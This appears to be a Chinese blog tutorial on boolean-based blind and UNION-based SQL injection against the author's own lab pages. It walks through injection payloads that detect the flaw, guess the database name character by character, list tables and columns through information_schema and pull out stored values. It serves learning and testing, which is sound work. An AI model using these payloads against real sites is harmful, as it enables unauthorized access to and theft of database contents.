zoukankan      html  css  js  c++  java
  • 布尔注入与联合注入

    题记

            有时候我也很喜欢这种吊儿郎当的生活方式,它让我忘记了曾经捂着胸口说痛的我。

    1.布尔注入 //返回 真 或假

    1、检查是否存在漏洞

            访问 /boolean.php?id=1

            访问 /boolean.php?id=1'

            访问/boolean.php?id=1'and+1=1--+

            访问/boolean.php?id=1'and+1=2--+

            确认页面存在SQL注入漏洞,并且只能返回no或yes

    2、判断数据库名称长度

            访问 /boolean.php?id=1'+and+length(database())>=4--+

            访问 /boolean.php?id=1'+and+length(database())>=5--+

            确定数据库长度为5个字符。

    3、判断数据库名称

            第一个方法

            访问/boolean.php?id=1'+and+substr(database(),1,1)='a'--+

            依次修改 substr(database(),1,1)='b'  substr(database(),1,1)='c' substr(database(),1,1)='d'

            直到页面返回yes 确定数据库名称的第一个字符。

            依次修改 substr(database(),2,1)='b'  substr(database(),2,1)='c' substr(database(),2,1)='d'

            直到页面返回yes 确定数据库名称的第二个字符。以此类推确定数据库的名称。

            第二个方法

            /boolean.php?id=1' or ORD(mid(database(),1,1))>105 #

            判断数据库第一个字母acsii值为多少,然后再去查表,这样快点。

    4、判断数据表名称

            判断表名长度

            /boolean.php?id=1'+and+length((select+table_name+from+information_schema.tables+where+table_schema='test'+limit+0,1))>=5--+

            判断表名称

            /boolean.php?id=1'+and+substr((select+table_name+from+information_schema.tables+where+table_schema='test'+limit+0,1),1,1)='t'--+

            查询出test和users 数据表

            concat是字符拼接函数。

    2.联合注入//一起查询

    1、在test数据库新建users表

            DROP TABLE IF EXISTS `test`;

            CREATE TABLE `test` (

              `id` int(11) NOT NULL,

              `name` varchar(20) COLLATE utf8_unicode_ci DEFAULT NULL,

              PRIMARY KEY (`id`)

            ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

    2、访问union.php?id=1

    3、访问union.php?id=1+and+1=1与union.php?id=1+and+1=2

            确定该页面存在SQL注入漏洞

    4、查询字段数量

       /union.php?id=1+order+by+3

             /union.php?id=1+order+by+4

            确认表内有3个字段。

            使用union select 1,2,3确认显示字段

            访问  /union.php?id=1+union+select+1,2,3 或者

             /union.php?id=-1+union+select+1,2,3

    5、获取数据库名称

            使用/union.php?id=-1+union+select+1,database(),3

            获取test数据库名称

            使用一下SQL获取第一个表名

            select table_name from information_schema.tables where table_schema='test' limit 0,1

            获取到test表名 ,修改limit0,1 limit1,1 limit2,1依次获取其他表名

    6、获取字段名

            使用以下sql语句获取字段名

            select column_name from information_schema.columns where table_schema='test' and TABLE_NAME='test' limit 0,1

            获取到id 字段 ,修改limit0,1 limit1,1 limit2,1依次获取其他字段

    7、获取字段对应的值

            select username from test.users limit 0,1

  • 相关阅读:
    SPI Flash(W25Q16DV) 驱动
    SPI Flash(W25Q16DV) 基本操作
    SPI OLED 驱动
    dategrip破解
    mysql中find_in_set()函数的使用
    MYSQL中,CAST函数的使用规则
    关于Java对象作为参数传递是传值还是传引用的问题
    easyPOI导出excel报错
    ### Cause: java.lang.reflect.UndeclaredThrowableException
    用count(*)还是count(列名) || Mysql中的count()与sum()区别
  • 原文地址:https://www.cnblogs.com/sunny11/p/13572504.html
Copyright © 2011-2022 走看看